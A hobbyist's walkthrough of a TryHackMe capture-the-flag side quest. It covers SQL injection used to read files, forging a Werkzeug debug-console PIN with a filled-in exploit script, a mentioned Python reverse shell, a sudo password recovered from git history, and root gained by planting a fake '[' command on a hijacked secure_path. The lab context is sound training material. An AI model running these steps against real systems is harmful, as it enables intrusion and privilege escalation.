hubertf's Writeup on TryHackMe's Advent of Cyber 2023
Side Quest 4: The Bandit Surfer
Hubert Feyrer, December 2023

[Please also see latest updates as of Dec 29ths 2023 below!]

Getting into the side quest

  1. With day 20 came the "DevSecOps Advent of Frostlings". The task required looking around in a git repository, which also got us to side quest 4.
  2. In the git repository, there was the defaced calendar, and besides it was the original, non-defaced calender. Which contained the QR code right there.

  3. Can't be much easier, and compared with SQ2 and SQ3 this was a breeze.
  4. Will it stay that way? We shall see!

Objectives

  1. Not much information was given on what to do in this side quest, again. A story about the Yetis attacking Best Festival Company and AntactiCrags, but nothing substantial.
  2. Looking at the questions doesn't help a lot, either - objectives are to get a user and a root flag, along with yet another yetikey.txt file.

  3. Difficulty is rated as "hard" - after two "insane" quests this might be a walk in the park. We shall see!

Solving the side quest

Part 1: Getting the PIN

  1. Upon starting the VM, nothing more than an IP address is given again.
  2. SO, let's start again with nmap, to see what's on the menue.

    PORT 	STATE SERVICE  VERSION
    22/tcp   open  ssh  	OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol
    2.0)
    8000/tcp open  http-alt Werkzeug/3.0.0 Python/3.8.10
  3. Not that much. Poking at the ssh port looks like it's only allowing public key authentication, so trying passwords is useless. On to the web application then.
  4. Using dirb(uster) to see what endpoints are on port 8000 reveals some points to start:

    http://10.10.103.5:8000/
    http://10.10.103.5:8000/download
    http://10.10.103.5:8000/console 
  5. The website shows some images which can be downloaded using the /download link and an id parameter.
  6. Apparently there is a SQL injection vulnerability in the /download's id parameter. Being lazy, I launched sqlmap to see what it brings up. Spoiler alarm: nothing really useful.
  7. So what's with the /console link? It seems to come from the "Werkzeug" project, and apparently a PIN is needed to access it.

  8. Putting the text into Google reveals useful information and prior work in this area, e.g. this Hacktricks article and this Daehee article, and also - though I usually don't like videos -- this Workerbee walkthrough video.
  9. Accordingly, there is a well-known flaw in the Werkzeug console, which lets one find the PIN. So let's go for it!
  10. The exploit is given in the first article above. Download and put into "exploit.py".
  11. For constructing the PIN, some data from the target system is needed.
  12. So a first step is actually getting into the system. Or rather, getting some data out of it.
  13. Knowing there is a SQLi flaw in the /download's id parameter helps here. Also, using MySQL "UNION SELECT" is useful to chain one query to another. And the second query can be used to not query the database but the filesystem.
  14. Putting everything together needs some URL-encoding of special chars, and I was lazy enough to leave this work to CyberChef.

  15. This worked to get a copy of /etc/passwd downloaded. A first success!
  16. Next, which information exactly is needed for the PIN? There are two ways to find this out: first look at the articles and videos above, and trust them to be true for this challenge. Or grab the source code, and verify things yourself:
  17. When giving some invalid parameters to /dowload, it will print a nice error message with many filenames and paths, which can be used to get the actual file:

  18. So, things needed are, in the probably_public_bits section:
  19. For the private_bits, more information is needed, which needs collection from the system:
  20. Put the exploit from the article and all values into place, run it and get a PIN.

    % cat exploit.py
    ...
    from itertools import chain
    probably_public_bits = [
        'mcskidy',# HF username
        'flask.app',# HF modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) # HF
        '/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None), # HF
    ]
    
    private_bits = [
        '2348470078511',# HF: MAC from /sys/class/net/eth0/address - changes for VM restart!  # str(uuid.getnode()),  /sys/class/net/ens33/address
        'aee6189caee449718070b58132f2e4ba' # HF: from /etc/machine-id  # get_machine_id(), /etc/machine-id
    ]
    ...
    
    % python3  exploit.py
    130-170-525 
  21. Now to go the /console URL and enter the pin, and if everything is done properly, you get a python shell.

Part 2: Getting the user flag

  1. In the python shell, you can use all the python you like. A quick start is __import__('os').popen('whoami').read();.

  2. From there we are back in Unix land, and can search the system.
  3. Easy enough, there is a "user.txt" file in the current working directory, which had the user flag. Strike!

Part 3: Getting the root flag

  1. As all this python is exhausting, let's start a reverse shell. As I had trouble with netcat (MacOS... don't ask!), I used "ncat" from nmap. Then went over to RevShells.com, chose a short Python revierse shell and got a shell.

  2. id shows the shell is running as "mcskidy" (not root). Can we get to root via sudo? Let's see what "sudo -l" says.
    $ id
    uid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy)
    $ sudo -l
    sudo -l
    [sudo] password for mcskidy:
  3. What is the password of mcskidy? We don't know... yet!
  4. Looking around, we see the "app" directory, with files that we have seen before, e.g. the "app.py" file from before, with the MYSQL_PASSWORD.
    app.config['MYSQL_USER'] = 'mcskidy'
    app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
    app.config['MYSQL_DB'] = 'elfimages'
  5. Of course we try the mysql password for sudo, but mcskidy does not reuse passwords, so no sudo for us. Yet.
  6. There is also a .git directory. Poking around there brings interesting things to light.
  7. Going back a few revisions shows that there was a change of the MYSQL_PASSWORD:
    $ git diff HEAD~2 HEAD~3
    diff --git a/app.py b/app.py
    index 5765c7d..8d05622 100644
    --- a/app.py
    +++ b/app.py
    @@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
     # MySQL configuration
     app.config['MYSQL_HOST'] = 'localhost'
     app.config['MYSQL_USER'] = 'mcskidy'
    -app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
    +app.config['MYSQL_PASSWORD'] = 'F**NO*HINTS**Z'
     app.config['MYSQL_DB'] = 'elfimages'
     mysql = MySQL(app)
  8. Curious what happens, we enter that second password into sudo, and we are one step further:
    $ sudo -l
    [sudo] password for mcskidy: F**NO*HINTS**Z
    
    Matching Defaults entries for mcskidy on proddb:
        env_reset, mail_badpass,
        secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/u
    sr/bin\:/sbin\:/bin\:/snap/bin
    
    User mcskidy may run the following commands on proddb:
        (root) /usr/bin/bash /opt/check.sh
    $ sudo id
    Sorry, user mcskidy is not allowed to execute '/usr/bin/id' as root on proddb
    .
  9. So we know what we can do, and that we can NOT sudo root-commands easily. But what can we do? Investigating /opt/check.sh shows:
    cat /opt/check.sh
    #!/bin/bash
    . /opt/.bashrc
    cd /home/mcskidy/
    
    WEBSITE_URL="http://127.0.0.1:8000"
    
    response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)
    
    # Check the HTTP response code
    if [ "$response" == "200" ]; then
      /usr/bin/echo "Website is running: $WEBSITE_URL"
    else
      /usr/bin/echo "Website is not running: $WEBSITE_URL"
    fi
  10. There is nothing obviously interesting in /opt/.bashrc, and all the commands like echo and curl are called with their absolute paths, so we can't replace them easily.
  11. Did I say all commands? Well... almost all! :-)
  12. In decent Unix systems (and Linux), "[" is actually a link to the test(1) command. Which is called without absolute path here. If we could get our own "[" command somewhere in the shell's search $PATH, we may be able to run our own code. As "sudo -l" gave our 'secure_path' with our home directory first (never do that!), we will try there:

    $ cd /home/mcskidy
    $ echo >./\[ "id ; whoami ; ls -la / ; ls -la /root"
    $ chmod +x \[
    $ sudo /usr/bin/bash /opt/check.sh
    
    127.0.0.1 - - [23/Dec/2023 16:18:43] "GET / HTTP/1.1" 200 -
    uid=0(root) gid=0(root) groups=0(root)
    root
    total 1521740
    drwxr-xr-x  19 root root       4096 Mar 27  2023 .
    drwxr-xr-x  19 root root       4096 Mar 27  2023 ..
    lrwxrwxrwx   1 root root          7 Mar 14  2023 bin -> usr/bin
    drwxr-xr-x   4 root root       4096 Oct 19 05:05 boot
    ...
  13. So we have a winner! Our own "[" command is executed as root as shown by the "id" output.
  14. Guessing from previous side quests, it is easy to retrieve the root flag and the yetikey4.txt file as the last step.
    $ echo >./\[ "ls -la /root/root.txt ; cat /root/root.txt ; ls -la /root/yetikey4.txt ; cat /root/yetikey4.txt"
    $ sudo /usr/bin/bash /opt/check.sh
    -rw-r----- 1 root root 38 Oct 19 06:40 /root/root.txt
    ...
    -rw-r----- 1 root root 43 Dec 13 17:24 /root/yetikey4.txt
    ... 

Summary

  1. The fourth side quest consisted of two big parts.
  2. The first part was retrieving a valid PIN, for which an existing exploit was used with parameters from this system.
  3. Getting the user flag with the python console was easy.
  4. The final part was solved in no time after getting the "sudo" password - good Unix (Linux) knowledge helped here.
  5. Yes, this challenge was rated "hard" and given the many hoops to jump through this is appropriate.
  6. All the information for this side quest were available either on the internet or on the system, and no guessing of random things was neccessary, which made this an interesting and fun challenge with appropriate difficulty rating.

Updates

  1. Update 29/12/2023: Coming from many years of Solaris and NetBSD experience, I was pretty much jumping to conclusions when counting Linux into the line of decent Unix systems above, and in not looking at .bashrc close enough. Indeed, there is an interesting command in there, which also can be counted as hint on how to get to the idea to roll your own [ (test) command. This is in the following line:
    enable -n [ # ]
    My assumption that [ is an actual external command was pretty fast. In modern shells, it is usually a shell builtin (for speed reasons), and Linux' bash is no exception there. With the above command, this is disabled though, making bash really look for an external [ binary instead of a shell builtin. So, lucky me that my basic assumption just worked. :-)

This page has been accessed 2984 times.
Copyright (c) 2023 Hubert Feyrer
$Id: index.html,v 1.14 2024/12/07 12:05:39 feh39068 Exp $